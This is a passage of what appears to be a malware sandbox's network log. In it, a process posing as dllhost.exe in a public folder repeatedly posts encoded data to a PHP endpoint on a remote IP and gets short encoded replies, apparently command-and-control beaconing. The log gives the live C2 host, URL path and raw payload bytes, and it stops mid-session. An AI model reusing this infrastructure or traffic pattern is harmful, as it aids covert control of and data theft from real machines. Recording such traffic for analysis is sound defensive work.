                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:13.246211052 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:30:13.593537092 CET2536OUTData Raw: 5c 5e 43 53 58 4b 50 58 54 57 5b 51 55 5e 59 54 50 58 5a 5f 56 5c 57 5b 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \^CSXKPXTW[QU^YTPXZ_V\W[X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_''.>()(#3X+%0,)*<4*7T!8T(*<6! <&\"'Z,0
                                                                                                                                      Dec 9, 2024 00:30:14.515053988 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:14.749089956 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:14 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      134192.168.2.45014291.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:14.996336937 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:30:15.343667984 CET2536OUTData Raw: 5c 5f 43 57 5d 41 50 5c 54 57 5b 51 55 5c 59 5e 50 5c 5a 59 56 55 57 5f 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \_CW]AP\TW[QU\Y^P\ZYVUW_X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'3_?8 #+5)[38<: Z ?5(P<:#!!$Z<&\"'Z,8
                                                                                                                                      Dec 9, 2024 00:30:16.261265993 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:16.501159906 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:16 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      135192.168.2.45014391.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:16.740025043 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:30:17.093596935 CET2536OUTData Raw: 5c 5b 43 57 5d 46 55 59 54 57 5b 51 55 5a 59 55 50 5a 5a 5a 56 5c 57 5d 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \[CW]FUYTW[QUZYUPZZZV\W]X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$$"(:0^"5+(&9Z$#+?#5<)86([+&\"'Z,
                                                                                                                                      Dec 9, 2024 00:30:18.086081982 CET25INHTTP/1.1 100 Continue


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      136192.168.2.45014491.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:18.012932062 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:30:18.361161947 CET1860OUTData Raw: 5c 58 43 51 5d 41 55 5e 54 57 5b 51 55 5b 59 54 50 5b 5a 58 56 54 57 5b 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \XCQ]AU^TW[QU[YTP[ZXVTW[X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'3=?)7%+0<7( [7:# #(:0"0Z*?&\"'Z,$
                                                                                                                                      Dec 9, 2024 00:30:19.276222944 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:19.509073973 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:19 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 3a 0d 25 26 24 02 2a 1d 3d 19 3f 3f 3c 00 2c 2c 3b 03 3c 33 2d 5a 32 3e 06 0a 27 2b 35 0f 3e 3e 01 14 24 32 2d 56 30 27 28 09 3e 38 2f 58 07 1c 24 01 28 05 02 00 25 0d 26 58 2a 22 23 5b 27 2d 12 5d 24 2e 0e 5a 26 30 34 5f 3f 33 07 1c 25 5e 2a 0a 28 02 30 5e 2e 37 20 50 21 34 23 53 08 11 25 52 24 21 38 12 26 59 28 5f 20 20 39 08 27 05 0d 13 2a 2c 06 59 3f 33 29 5a 3c 57 26 1e 24 0c 27 0c 30 2c 28 5d 26 33 36 56 25 2a 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: :%&$*=??<,,;<3-Z2>'+5>>$2-V0'(>8/X$(%&X*"#['-]$.Z&04_?3%^*(0^.7 P!4#S%R$!8&Y(_ 9'*,Y?3)Z<W&$'0,(]&36V%*&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      137192.168.2.45014591.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:18.291601896 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:30:18.640510082 CET2536OUTData Raw: 5c 5e 46 53 58 44 55 53 54 57 5b 51 55 59 59 5b 50 5a 5a 5e 56 5d 57 5f 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \^FSXDUSTW[QUYY[PZZ^V]W_X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$$-? %(590?'U<)##33)9"_(&\"'Z,,
                                                                                                                                      Dec 9, 2024 00:30:19.565090895 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:19.800760984 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:19 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      138192.168.2.45014691.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:20.039911032 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:30:20.397816896 CET2536OUTData Raw: 59 5f 43 5d 58 44 55 5e 54 57 5b 51 55 51 59 54 50 5a 5a 59 56 51 57 52 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y_C]XDU^TW[QUQYTPZZYVQWRX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'$.9\?:<"%;Z?523/;+<Y *!/?/63(&\"'Z,
                                                                                                                                      Dec 9, 2024 00:30:21.307745934 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:21.545057058 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:21 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      139192.168.2.45014791.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:21.787954092 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:30:22.141177893 CET2536OUTData Raw: 59 58 46 50 58 40 50 5b 54 57 5b 51 55 5f 59 5b 50 5e 5a 50 56 55 57 59 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YXFPX@P[TW[QU_Y[P^ZPVUWYX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$3-2?#Y?&"&?'V)9]#'"U))/61+/&\"'Z,
                                                                                                                                      Dec 9, 2024 00:30:23.053395987 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:23.289215088 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:22 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      140192.168.2.45014891.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:23.731991053 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:30:24.077944994 CET2536OUTData Raw: 59 5a 43 54 58 47 55 59 54 57 5b 51 55 5b 59 5d 50 5b 5a 59 56 50 57 53 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YZCTXGUYTW[QU[Y]P[ZYVPWSX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$$=\(9<["%;_+5[&/8(9[ :<638T))6!??&\"'Z,$


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      141192.168.2.45014991.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:24.637497902 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:30:24.984215021 CET1860OUTData Raw: 5c 59 43 52 5d 44 50 5c 54 57 5b 51 55 5a 59 5d 50 5d 5a 5d 56 52 57 52 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \YCR]DP\TW[QUZY]P]Z]VRWRX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$32+90_ 5?=Z3<8<9$!*<5V+ Y!#??&\"'Z,
                                                                                                                                      Dec 9, 2024 00:30:25.903525114 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:26.137203932 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:25 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 3a 09 24 36 0d 58 29 23 21 54 3c 2c 2b 5c 2c 2c 3f 05 2b 1e 00 06 26 3d 37 11 26 3b 2d 0f 2b 07 3b 15 33 31 26 0a 27 37 37 1d 3d 02 2f 58 07 1c 27 12 3c 5d 38 02 25 1d 0b 04 2a 57 33 13 25 3d 24 5c 27 00 3b 00 27 1d 2f 01 28 30 21 11 32 28 3d 53 28 28 33 07 2d 37 23 0d 35 0e 23 53 08 11 25 53 26 32 20 1f 26 3f 27 03 35 33 3a 57 24 05 3b 57 3e 12 01 06 2a 33 00 02 2b 1f 0f 0c 25 21 37 0e 30 3f 27 01 30 33 04 1b 32 00 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: :$6X)#!T<,+\,,?+&=7&;-+;31&'77=/X'<]8%*W3%=$\';'/(0!2(=S((3-7#5#S%S&2 &?'53:W$;W>*3+%!70?'032&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      142192.168.2.45015091.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:24.756640911 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:30:25.109735966 CET2536OUTData Raw: 59 5d 43 5c 58 4a 55 5b 54 57 5b 51 55 5f 59 58 50 58 5a 5f 56 55 57 5c 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y]C\XJU[TW[QU_YXPXZ_VUW\X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$3=1?)75+$8?(79'!V0Q): X"0Z(&\"'Z,
                                                                                                                                      Dec 9, 2024 00:30:26.022826910 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:26.257121086 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:25 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      143192.168.2.45015191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:26.544487953 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:30:26.890472889 CET2536OUTData Raw: 59 5a 43 50 5d 46 55 5b 54 57 5b 51 55 59 59 5b 50 53 5a 5a 56 5d 57 53 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YZCP]FU[TW[QUYY[PSZZV]WSX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'Z&--?4$<"0Y++9?#)'Q!0T+*#6(Z+/&\"'Z,,
                                                                                                                                      Dec 9, 2024 00:30:27.810784101 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:28.044851065 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:27 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      144192.168.2.45015291.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:28.289449930 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:30:28.641544104 CET2536OUTData Raw: 59 5e 43 57 5d 46 50 5b 54 57 5b 51 55 50 59 5b 50 53 5a 5e 56 56 57 53 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y^CW]FP[TW[QUPY[PSZ^VVWSX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'_'[=<< 6;Y(6"$(($X#*"0?<?"1 Z??&\"'Z,
                                                                                                                                      Dec 9, 2024 00:30:29.554909945 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:29.789166927 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:29 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      145192.168.2.45015391.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:30.021224022 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:30:30.377226114 CET2536OUTData Raw: 5c 5f 43 5d 58 41 50 59 54 57 5b 51 55 5d 59 58 50 59 5a 5c 56 54 57 52 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \_C]XAPYTW[QU]YXPYZ\VTWRX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$3(:,^"5'*%*'<7<:4Y#98"()_#! Z<?&\"'Z,<
                                                                                                                                      Dec 9, 2024 00:30:31.286907911 CET25INHTTP/1.1 100 Continue


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      146192.168.2.45015491.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:31.308007956 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
